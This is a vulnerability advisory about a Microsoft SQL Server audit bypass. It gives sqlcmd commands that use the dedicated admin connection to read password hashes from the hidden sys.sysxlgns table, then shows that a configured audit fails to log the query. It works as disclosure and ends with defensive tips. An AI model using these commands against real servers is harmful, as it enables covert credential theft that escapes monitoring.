Microsoft SQL Server 2014 / 2016 / 2017 / 2019 / 2022 Audit Logging Failure

Title: Microsoft SQL Server Password Hash Exposure
Product:                   Database
Manufacturer:              Microsoft 
Affected Version(s):       2012-2022
Risk Level:                Medium
CVE Reference:             N/A
Author of Advisory:        Emad Al-Mousa

Overview:

SQL Server is a popular database system, and database systems are a vital backbone in IT infrastructure as different types of systems and applications will require back-end data-store (databsae system). Moreover, Password hashes for Local database accounts are restricted in terms of permission access and only system admins/ DBA's can access them. of course, attackers will attempt to access them to crack the hashes and access the database system for data exfiltration.


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Vulnerability Details:

The following exploit assumes attacker escalated his permission as admin, and he/she will be able extract the password hashes even though an audit is in-place. So, its an audit by pass vulnerability.

currently, SQL Server password hashes are stored in two tables:

sys.sql_logins ----> visible table and auditing can be configured against it

 sys.sysxlgns  -----> invisible table and requires special access mode and audit rule is not functional !


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Proof of Concept (PoC):

I will simulate a way to extract password hashes in a stealthy way (auditing will not capture it), in the following PoC the account is called dodo:

Accessing windows server as administrator, open CMD session using the following command:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

select name,pwdhash from sys.sysxlgns where name='dodo';

GO

The password hashes for account dodo will be displayed.


Let us create an audit rule using this method to capture select statements executed against sys.sysxlgns :

I will create a server-level audit to push audit logs as binary file:

USE [master]
GO
CREATE SERVER AUDIT [Audit-2020-SYSTEM-TABLE]
TO FILE
( FILEPATH = ND:\mssq_audit\
,MAXSIZE = 0 MB
,MAX_ROLLOVER_FILES = 2147483647
,RESERVE_DISK_SPACE = OFF
)
WITH
( QUEUE_DELAY = 1000
,ON_FAILURE = CONTINUE
,AUDIT_GUID = 0333dfad-260b-45a4-8302-d7eb94c14cdc
)
ALTER SERVER AUDIT [Audit-2020-SYSTEM-TABLE] WITH (STATE = ON)
GO

Then, I will define a database level audit under MASTER database to audit SELECT statement by any user/account against the system table sys.sysxlgns as follows:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

CREATE DATABASE AUDIT SPECIFICATION [audit-systemtable]

FOR SERVER AUDIT [Audit-2020-SYSTEM-TABLE]

ADD (SELECT ON OBJECT::[sys].[sysxlgns] BY [public])

WITH (STATE = ON)

GO


The audit specification will be successfully created and can be visibly seen in SQL Server management studio.


Now you attempt to execute select statement again:

sqlcmd -S localhost\MSSQL2019 -A -E

USE [master]

GO

select name,pwdhash from sys.sysxlgns where name='dodo';

GO

- checking audit logs.....nothing is recorded !


Conclustion:

Super users and admin accounts must be monitored/audited for real-time monitoring for threat detection, and for future forensic analysis !


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- Defensive Techniques:

configure Operating System Security auditing and Monitoring.
Network Segmentation and Firewall.
pro-actively patch your systems and database systems.


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References:
https://databasesecurityninja.wordpress.com/2020/06/02/extract-sql-server-database-password-hashes-without-a-trace/
https://learn.microsoft.com/en-us/sql/relational-databases/system-tables/system-base-tables?view=sql-server-ver16

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